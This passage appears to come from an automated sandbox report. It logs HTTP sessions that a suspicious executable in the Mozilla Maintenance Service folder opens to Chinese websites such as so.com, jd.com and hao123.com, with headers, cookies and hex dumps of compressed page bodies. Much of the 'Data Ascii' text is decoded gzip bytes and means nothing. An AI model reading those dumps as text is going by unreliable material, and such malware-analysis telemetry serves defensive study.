Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.348925114 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.so.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:32.866947889 CEST	425	IN	HTTP/1.1 302 Moved Temporarily Server: openresty/1.15.8.3 Date: Mon, 05 Aug 2024 09:59:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://www.so.com/ Set-Cookie: QiHooGUID=; Max-Age=63072000; Domain=so.com; Path=/ Data Raw: 38 65 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 8e<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49753	163.171.132.119	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.391318083 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jd.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:31.026515007 CEST	342	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 05 Aug 2024 09:59:30 GMT Content-Length: 0 Connection: keep-alive Server: Cdn Cache Server V2.0 Location: https://corporate.jd.com/home X-Via: 1.0 PSdgflkfFRA2po75:8 (Cdn Cache Server V2.0) X-Ws-Request-Id: 66b0a282_PSdgflkfFRA2po75_16195-48396 Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49754	49.51.65.181	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.566545963 CEST	214	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: soso.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:31.157465935 CEST	347	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 05 Aug 2024 09:59:31 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://soso.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49755	163.181.130.181	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.599936008 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.1688.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:31.240050077 CEST	466	IN	HTTP/1.1 302 Found Server: Tengine Date: Mon, 05 Aug 2024 09:59:31 GMT Content-Type: text/html Content-Length: 242 Connection: keep-alive Location: https://www.1688.com/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 72 65 73 69 64 65 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 64 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>302 Found</h1><p>The requested resource resides temporarily under a different URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49756	103.235.46.98	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.660584927 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.hao123.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:32.132812977 CEST	1236	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html;charset=UTF-8 Cxy_all: +49914e294c3bebc3da124769c6b8b778 Date: Mon, 05 Aug 2024 09:59:31 GMT Lfy: gzbh.95041 P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: nginx/1.9.12 Set-Cookie: s_ht_pageid=16; path=/; domain=.hao123.com Set-Cookie: ft=1; expires=Mon, 05-Aug-2024 15:59:59 GMT Set-Cookie: v_pg=normal Set-Cookie: hz=0; path=/; domain=www.hao123.com Set-Cookie: BAIDUID=5832BF1F378C1FA6A59A81B23E6CD554:FG=1; expires=Tue, 05-Aug-25 09:59:31 GMT; max-age=31536000; path=/; domain=.hao123.com; version=1 Tracecode: 35714053440326279690080517 Vary: Accept-Encoding Transfer-Encoding: chunked Data Raw: 38 39 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 97 23 c9 75 20 f6 7d 7e 05 d8 ed 61 77 0d 91 59 48 bc 81 62 53 ec 27 39 96 86 1a 0f 87 12 b9 e4 a8 4e 02 48 54 61 1a 05 40 78 74 75 b3 a6 ce 91 f7 ac 1e d6 ca d6 ae bd bb 5e 5b f6 d9 2f f6 59 ed 9e b3 92 65 cb 7b b4 96 b8 fe 31 ab 19 52 9f fc 17 7c 1f 11 91 37 1e 99 48 54 75 f7 70 49 b1 38 33 00 32 32 e2 c6 8d 1b f7 1d 37 be fe 95 27 bf fe f8 e3 1f 7c f8 b4 76 be bd 98 7f e3 eb f8 ef da 78 9e 6e 36 0f ee dc 81 af 59 3a f9 c6 d7 17 cb cd 78 3d 5b 6d bf f1 f5 8b 6c 9b 42 cb ed 2a ca 7e 7b 37 7b f1 e0 ce 3a 9b ae b3 cd f9 9d da 78 b9 d8 66 8b ed 83 3b 8d 93 da f7 3e fa b5 07 f7 8e 7f e5 f4 54 bf 78 7a 1a 3d 48 ee dd a9 1d 7f e3 eb c7 79 67 db d9 76 9e 7d e3 3c 5d 26 cd d6 e9 df fe d5 1f fe f4 27 ff f4 6f ff fa bf fb d9 ff fb 3f fd dd ef ff d1 e7 7f f3 3b 9f ff eb 7f fc f5 63 6e f3 f5 51 ba c9 6a db 74 7d 96 c1 08 a7 a3 79 ba 78 0e d0 11 34 e3 f3 74 bd c1 9f 77 db 69 d4 bf 03 43 b8 40 7e 3f fa de c3 e8 f1 f2 62 95 6e 67 a3 79 96 83 fa fe d3 07 d9 e4 [TRUNCATED] Data Ascii: 896k#u }~awYHbS'9NHTa@xtu^[/Ye{1R\|7HTupI83227'\|vxn6Y:x=[mlB*~{7{:xf;>Txz=Hygv}<]&'o?;cnQjt}yx4twiC@~?bngy,A\(Mvfz6BLuj\|_^:?3Yl&5MdggxY^;>a<{u\O6bdmw>?9['~_T7/?z?ofIddQ/_/
Aug 5, 2024 11:59:32.132903099 CEST	1236	IN	Data Raw: c7 7f f8 b3 ff fb 1f 7d f1 ff fc 93 9f fe cf ff e8 6f ff ea df 7d f1 2f 7e 5f 82 fa 9f 7e e7 1f 42 83 2f fe c7 7f ff c5 3f fb f7 9f ff e4 9f 7f fe 93 bf f8 d9 bf fe bd ff f4 3b ff f5 df fd ab ff eb 6f ff c3 3f 81 0f 9f ff 1f 7f fc b3 3f ff 4b f8 Data Ascii: }o}/~_~B/?;o??K_?w{?T}{ogo~O\|'??~#2mxSVr,/o?>>W7i:dcjmwE>_
Aug 5, 2024 11:59:32.132941008 CEST	1121	IN	Data Raw: cf c6 db fa 68 b7 dd 2e 17 fc ee 34 bd 98 cd 5f 0d 67 8b 73 30 34 b6 dc c1 06 fb b3 7e c9 e1 d5 08 58 a7 93 d9 6e 03 53 86 f9 2b ec ce d3 51 36 d7 9d 83 dd 02 9a 57 3a 57 e0 5f cc 26 93 79 76 4d f0 0c a7 cb f1 6e a3 1a aa 2f 0c 99 fa a2 97 89 bf Data Ascii: h.4_gs04~XnS+Q6W:W_&yvMn/^-w[k0V:FGA4[,5'?EQW9O9/$/d:sWjNQ\8[aYl=XEN;)E0Z7-hDNItNMDtOwxT7z>
Aug 5, 2024 11:59:32.132975101 CEST	1236	IN	Data Raw: 67 3f 79 ef c7 4b 90 07 89 4b 9b 20 15 4e de 0b ab ad d0 39 80 e9 40 0e 3f be 98 f1 ef c4 48 67 f3 d9 f6 d5 50 b1 75 7c 63 a7 c4 7f a1 48 47 a0 75 2b f0 7a a5 0b 6f d2 46 fa 63 d3 f1 ea ca 9e 3f fe b8 5d 4e 5d 99 c2 9a 82 d9 58 d9 7c 3e 5b 6d 66 Data Ascii: g?yKK N9@?HgPu\|cHGu+zoFc?]N]X\|>[mfg^:G 4_)u\n:FI[(wIh#mcQ#vU;>@v0gqwjy0oFxb'Xt8''KZ rD;/#RjkrQ8.
Aug 5, 2024 11:59:32.133009911 CEST	1236	IN	Data Raw: 5f 25 b0 c4 3e 65 3d e9 a0 95 64 8c 82 77 6a 3c 5f 6e 84 5a 6f 29 8d 0d 25 f0 35 25 91 a2 af 51 53 49 4e 88 85 b3 47 24 09 5c 44 4a 7a 65 94 1a 2c 35 44 f4 e9 69 8a a5 66 01 66 c6 06 1a 92 a1 da 01 cd 3e 02 ae b4 4e ee 9c a5 31 9b 51 4c 3c ca a6 Data Ascii: _%>e=dwj<_nZo)%5%QSING$\DJze,5Diff>N1QL<B.X90Mw-o +)20H=/OmL):$F:)282ZfFofw)l[XoFp(AfFN<Y4b[)j>&3^,LC!\Yv
Aug 5, 2024 11:59:32.133043051 CEST	1236	IN	Data Raw: 5b d4 d2 c5 04 8e 79 9a 8c 9b 5e 17 84 c6 d1 95 bd c4 6a 6e a1 1e 5b 34 bb 30 bc 53 c8 60 b6 a0 a5 f4 04 cb 8b 06 c9 f3 fb 1c 69 b2 89 e7 4b 73 42 d7 0a 0e f1 8a 6d e4 ca 07 8a a6 7e 31 1c 6c 88 d9 5f 78 0f 9b bf 7a d2 f4 ce 0f f4 7c 65 76 b1 5a Data Ascii: [y^jn[40S`iKsBm~1l_xz\|evZ)6+<U&/%sp? \lA_`>QuSu7[s!DcXnfpt<wwv6N=iBwKq#8ih;;.
Aug 5, 2024 11:59:32.133075953 CEST	1236	IN	Data Raw: 8b 9a 58 05 84 99 5e 4b 14 04 e9 a0 b7 0e 8e b8 86 fb 16 66 91 2a f1 62 57 7b 91 ef c1 0e 3b 25 ed d5 81 ef 75 f4 a1 44 a3 38 21 17 aa 3d 13 9a 05 e1 e1 80 f7 42 b3 78 5d 7d 1c 36 8b 66 e1 3a cb 27 3e 85 cb 45 17 ee 94 a6 ac 76 80 9f 8d 72 d2 0d Data Ascii: X^Kf*bW{;%uD8!=Bx]}6f:'>Evr+']d8d5sVr3W],EK4<Z4A[JrEqG<V6sV\:Pkm!?lv({g!O`n)"p:Z'MR,:Eo@]K
Aug 5, 2024 11:59:32.133107901 CEST	1236	IN	Data Raw: a5 84 95 75 eb f9 96 e0 56 07 2a 98 1f 78 29 17 fc da eb 1a bd 1a c2 89 5f b8 8b 0f 28 e7 a5 29 5c df 47 ad c7 d7 39 3d 30 cb 86 00 b6 05 37 d2 69 f5 96 4a 0b 06 10 c0 15 b3 09 07 4a 74 db d2 8e 85 7a be 31 e0 b2 8b d2 41 63 20 ef d1 76 a1 71 4d Data Ascii: uV*x)_()\G9=07iJJtz1Ac vqMi=Z"/mFwjYhxrp?Po-^)DV]3{795^NfMD)rfH^xxDo\W{R4)]N@[s/1yE
Aug 5, 2024 11:59:32.133141041 CEST	1236	IN	Data Raw: 9c 44 d9 b8 d2 76 e1 77 b5 98 cf 9e b6 db 9d 8e cd 91 f2 5d 45 c4 89 5b 4b da 16 8e 09 20 9c 81 a0 57 90 b8 71 a5 8b b5 47 91 49 b9 5e 29 c1 04 e0 b1 7b cf 9a 12 32 44 6d 8a 8b 87 11 a3 28 0b 64 bd 13 46 b0 48 ca 25 65 ea d7 43 99 e3 35 41 0c 5a Data Ascii: Dvw]E[K WqGI^){2Dm(dFH%eC5AZf:BolS_DhO%Mbj!%AHVA]X44sNm4"[e@w+TjbP5FV2`+(G_deo/DT7cQ
Aug 5, 2024 11:59:32.133176088 CEST	1236	IN	Data Raw: 7c db 08 6b c6 83 69 23 c9 a0 ea f8 97 81 b0 26 22 ac 9b 34 a7 69 bb 7b 33 84 b5 de 36 c2 5a f1 b4 db 1c 34 a6 ad 2f 05 61 2d 44 d8 a0 95 4e 3b dd 1b 22 ac fd b6 11 d6 8e d3 46 ab d1 e9 75 be 14 84 b5 11 61 59 bb d9 4b d3 fe 81 14 16 28 71 e2 31 Data Ascii: \|ki#&"4i{36Z4/a-DN;"FuaYK(q1q[vYYQ=-NVuRm(B!kK{ '!^9LaIC0bKrpU$GBXjx6DV#-L/yL}^*/F:9Y6eNY,TAgCwP.;[dWZf
Aug 5, 2024 11:59:32.138158083 CEST	1236	IN	Data Raw: e0 34 1d 57 6f 91 29 37 70 73 15 fe 61 39 62 51 9e 38 ee 1c a9 c2 c4 2e c5 56 77 1a 1b 1e 8f 51 55 9f 1a 02 38 00 0f 2a b2 63 9e 27 9d 36 d7 ea 84 27 db 70 9e 7a e2 c2 3c b6 4e 91 01 72 aa 8f cc 8b 50 22 d2 e8 11 1d 31 c7 73 9e 01 99 65 fb 50 45 Data Ascii: 4Wo)7psa9bQ8.VwQU8c'6'pz<NrP"1sePE4ZA.^,7+8\|eX!Hu%\298VOZFc4g@8K/1e^UVfYtSOYDF"@5tQN[]LTCl*sQ~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49757	113.219.142.35	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.758318901 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.cdstm.cn Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:35.359033108 CEST	464	IN	HTTP/1.1 302 Moved Temporarily Server: JSP3/2.0.14 Date: Mon, 05 Aug 2024 09:59:35 GMT Content-Type: text/html Content-Length: 144 Connection: keep-alive Location: https://www.cdstm.cn/ X-Cache-Status: MISS Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=63072000;includeSubdomains;preload Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4a 53 50 33 2f 32 2e 30 2e 31 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>JSP3/2.0.14</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49758	120.26.110.170	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.781056881 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: foodmate.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:31.872489929 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 05 Aug 2024 09:59:31 GMT Content-Type: text/html; charset=gbk Last-Modified: Mon, 05 Aug 2024 09:53:35 GMT Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding ETag: W/"66b0a11f-29935" Content-Encoding: gzip Data Raw: 34 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 69 73 1b 57 92 28 fa bd 23 ee 7f c0 60 5e 8f e5 e8 06 b1 12 24 65 8b 1d 1e bb bb c7 f7 4e f7 f8 5d fb c5 7d 2f 3a 3a 14 20 01 8a b0 b8 99 04 b5 f8 f5 bb 5f ef ef 00 21 4b 24 45 99 d8 f7 85 20 41 10 fb 4e 80 a2 64 4b a2 64 b9 25 51 92 2d 5a a2 44 4a 8e 97 59 85 02 aa 80 02 aa b0 50 52 df 71 bb 43 04 50 75 ce c9 cc 93 27 4f 9e 3c b9 bc ff 4f 1f fd c7 87 9f fd 3f 9f fc 5e 30 aa 1b 1f 13 7c f2 7f fd eb bf 7f fc a1 40 28 12 8b ff 87 fc 43 b1 f8 a3 cf 3e 12 fc df ff f6 d9 9f fe 5d 20 ed 91 08 3e 9b 56 4d cc 68 75 da c9 09 d5 98 58 fc fb 3f 0b 05 c2 51 9d 6e ea b8 58 7c f6 ec d9 9e b3 f2 9e c9 e9 53 e2 cf fe bb f8 1c f6 25 c5 c6 e5 8f 22 1d ad 65 8f 5a a7 16 0e fe ea 7d 62 c0 73 e3 63 13 33 27 58 ba 91 0e 0c 0c 90 ad 89 77 35 2a 35 fc 19 d7 e8 54 00 a8 6e 4a a4 f9 62 56 7b e6 84 f0 c3 c9 09 9d 66 42 27 fa ec fc 94 46 28 18 26 bf 9d 10 ea 34 e7 74 62 ec ff 3d c1 f0 a8 6a 7a 46 a3 3b 71 6a 48 26 97 ca 84 62 e8 45 a7 d5 8d 69 06 63 96 b0 c3 f3 d8 78 2f f9 [TRUNCATED] Data Ascii: 4000isW(#`^$eN]}/:: _!K$E ANdKd%Q-ZDJYPRqCPu'O<O?^0\|@(C>] >VMhuX?QnX\|S%"eZ}bsc3'Xw55TnJbV{fB'F(&4tb=jzF;qjH&bEicx/0_VW~U#~1G.Dybu24%o}!PkNOkVvJ%F<q%/1K\|X6 <#>d/d?~$8_`7t&PkfS85m l!ju%KKNh:Dr&E?H#iC]WK-!AH>GJ2cinxV':`BF\|ND6:!qZ;~gdrR=iz&4:1E<:zA&'OOU3cQFG@p0_/vB9'v@$r$!:\uFE</OLOONF8;NOtdDhGc:5`fzLI{z{d=L#;EB": x`zX"D)[!8b,#1&U#$A,6/oLIU
Aug 5, 2024 11:59:31.872513056 CEST	1236	IN	Data Raw: 1a f1 e7 33 e2 d1 c9 71 cd c9 7a ea 30 57 99 12 57 19 4d da 75 41 50 cc 9c d6 4e 88 d5 9a 11 d5 ec 98 4e ac d5 28 09 71 81 42 b5 1d 46 66 43 73 4c 35 71 4a fc e5 a8 68 78 42 8c 1f bb 4d 40 72 0d 88 41 52 8f 68 db ed bc f9 46 00 93 33 3e 39 04 93 Data Ascii: 3qz0WWMuAPNN(qBFfCsL5qJhxBM@rARhF3>9f(g45:IF>!hrN\&aJ31S.4+q6#'&&''Nk4(YO#*&6V/V&mzCMhOM[
Aug 5, 2024 11:59:31.872524977 CEST	1236	IN	Data Raw: 9d 39 89 76 ad 93 20 9d 00 b2 3a 4d 61 76 46 33 5d 33 0a f3 88 48 68 e2 00 8a bc 9f 10 6e d0 05 a1 45 12 7a 07 4f b0 4f cd 82 9d 49 2b ae 07 16 2d 85 2d 76 f4 39 4b 3f d4 76 37 73 16 34 18 d7 81 20 b9 d3 4a a7 e3 2a ed d8 98 76 06 e6 a3 8e 98 c9 Data Ascii: 9v :MavF3]3HhnEzOOI+--v9K?v7s4 J*vb'(#Z)W4c+`xY6tQ!<3p&$LamDaM(U-B@n^~~^TC.e7`\56C4a18
Aug 5, 2024 11:59:31.872536898 CEST	1236	IN	Data Raw: fe dd e4 6c 32 38 61 90 63 8e 4c b5 6a 77 e4 81 32 d1 93 de 40 b3 d5 ac 20 1c 57 c0 91 85 b9 bc 60 b6 b0 61 9b 83 cb 51 78 91 77 a2 81 e5 26 68 57 0c d9 2c a3 97 0d d9 6d 2c 70 39 2e 70 c2 97 38 d5 54 78 82 0b eb cc e4 04 0b e6 d8 ae 5d cc 09 59 Data Ascii: l28acLjw2@ W`aQxw&hW,m,p9.p8Tx]Ycs!Wa;r\hF&DLSW}d3brT5<<U:eJCl{\:u=MXQFvMQ~"L+delv>YLCSrMifVemu;G@>
Aug 5, 2024 11:59:31.872550011 CEST	1236	IN	Data Raw: 61 b6 80 3a d5 a0 0e 76 3e 11 3b bd 62 a9 52 2c ed 13 49 fa 44 72 99 a8 4f 46 51 8c 08 a8 79 eb 28 46 dd 7d 81 76 79 4a 3b 21 1a 9a d4 e9 26 c7 8f 4b a6 ce bd 57 bf 37 f2 66 3e b9 04 18 a2 56 cf 6a 8b 98 7d 04 31 15 22 99 5c 24 91 8b e4 03 6c e1 Data Ascii: a:v>;bR,IDrOFQy(F}vyJ;!&KW7f>Vj}1"\$lO+BWc&#b5,y<huB6zbbD&+?zU"I];[#*lUBH]&OTCbX/V(2)%t?8sm%z\^Us
Aug 5, 2024 11:59:31.872586012 CEST	1120	IN	Data Raw: c3 0d 51 bb 2d 3b e0 63 59 3f 07 1f 17 c2 a1 74 7e 25 ec 4b 6f 19 dc 85 ef ed cb 05 93 7e ae f0 bd 39 10 fb 41 10 58 04 af a6 15 87 3d b5 07 b1 4e 19 bb 3f 67 8c 1e f8 0f 8a f0 29 73 68 bd 2c 1c 6c bb 69 47 f8 70 1c 27 22 11 eb f3 f8 d7 ae c3 f4 Data Ascii: Q-;cY?t~%Ko~9AX=N?g)sh,liGp'"#WE<Est(o2q\pxwneW9~&;>yL@DDvd5NBeM,n5X%%_/:Aov-J4=F v'?
Aug 5, 2024 11:59:31.872920036 CEST	1236	IN	Data Raw: 8d 4e 3c e9 18 77 1d f3 94 2c 35 cc 47 57 99 5a b5 82 b2 61 bf a6 81 3a a1 15 97 24 f6 5d 89 6f b2 72 81 94 f2 fc c0 79 6f ec fd 21 2d 7b 7f 74 a7 9f 2a a6 ad 1c ff 21 18 ea 08 8e ff 1c 4c e6 fb 31 74 7f c3 d8 e7 7c 56 58 2d f8 42 69 eb de 5a 09 Data Ascii: N<w,5GWZa:$]oryo!-{t*!L1t\|VX-BiZ]Yxf uM :b(~5!~C@RIl0;f0~GslOX!,eI.!3#j:Ivm%!y8{-V[u
Aug 5, 2024 11:59:31.872931957 CEST	1236	IN	Data Raw: b0 f9 f3 8e 20 e3 98 6d 63 c8 ba b7 72 98 dd c0 0c 5c a1 c4 4a ce 9d 44 e7 58 d2 05 d2 6b cc 42 24 93 2d 84 70 46 13 d1 fb a6 f9 ec bd e2 05 f4 62 6b b5 4d 27 18 28 38 a4 6c 65 41 e3 f6 40 9c 7e 40 2f a7 16 76 cd 52 a6 b9 97 f0 78 bb 13 a8 e5 1c Data Ascii: mcr\JDXkB$-pFbkM'(8leA@~@/vRxRu1D+:@dF!weu9wBI7n#8xpgp{nl0^ndm?lLEU8~V\A.R[7"^q8=
Aug 5, 2024 11:59:31.872942924 CEST	1236	IN	Data Raw: cb 2f 05 75 f2 ab 82 db 7f c5 bb 86 30 d2 33 d4 61 46 ba cd ad 82 35 bd 55 ba e6 4e 63 6c 1c e6 e3 2b 18 37 9e a7 43 b5 39 ea da ef a3 13 0c b9 0c 53 98 f7 06 e3 71 0d 2f 3f 13 7f f8 af ff 55 20 07 27 7f bd 7d 35 18 bf be 72 c5 e3 08 07 9c 1b 18 Data Ascii: /u03aF5UNcl+7C9Sq/?U '}5ru/<xW12H%lucYM/LW;?{%6xp_?m2N:Wi?t$5KOKzz{:d'kQ'8p[q"nxHRwq\|?K?mI{Do
Aug 5, 2024 11:59:31.872956991 CEST	1236	IN	Data Raw: b1 72 d3 13 4e 2e ae dc 44 07 bf 28 ec 59 ee b4 25 ca 0f b3 56 da 77 84 19 07 07 91 33 95 d5 e7 5f 41 e2 0a 52 0f ff 3a ed 0c 1e 14 ef 05 0f b2 d7 f4 cb 44 6d 2b a8 d0 e2 7d 6e 87 84 09 ad bc 5d 85 ba d9 b5 29 a3 d2 26 e3 34 4e fb 52 7f 4a af ad Data Ascii: rN.D(Y%Vw3_AR:Dm+}n])&4NRJvU5WkPgj}y)!Q\x@;<;G5#':[5Q0K]h;/Ck]IJ:QIr8 ji_ Cw7{CT\|lc
Aug 5, 2024 11:59:31.877646923 CEST	1236	IN	Data Raw: 4c 97 8f e8 4d 68 37 33 39 ad 13 cb c5 72 49 5f f9 22 83 c2 f1 9d 93 43 63 aa 89 d3 ef 94 69 f7 ce 1f ff 55 20 eb 57 48 64 22 99 44 2a 23 4a 78 a3 be 46 d9 38 89 1f c8 20 60 41 78 73 d5 b2 e2 b5 df 4c 6c 18 e6 dd 4b e0 6a ad 9f 83 82 7d 99 6f 9d Data Ascii: LMh739rI_"CciU WHd"D*#JxF8 `AxsLlKj}o!WwSzY47O)Ap-VZteJ(ZF_.@t@P4A ~1)z'MHn\|yWP0#p\1#<StU^d24An%XE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49759	111.124.200.101	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.816155910 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: youdao.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:32.448380947 CEST	199	IN	HTTP/1.1 307 Temporary Redirect Server: YDWS Date: Mon, 05 Aug 2024 09:59:32 GMT Transfer-Encoding: chunked Connection: keep-alive Location: https://youdao.com/ Data Raw: 31 33 0d 0a 68 74 74 70 73 3a 2f 2f 79 6f 75 64 61 6f 2e 63 6f 6d 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 13https://youdao.com/0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49760	47.94.225.221	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.851931095 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jmw.com.cn Range: bytes=0- Connection: Keep-Alive
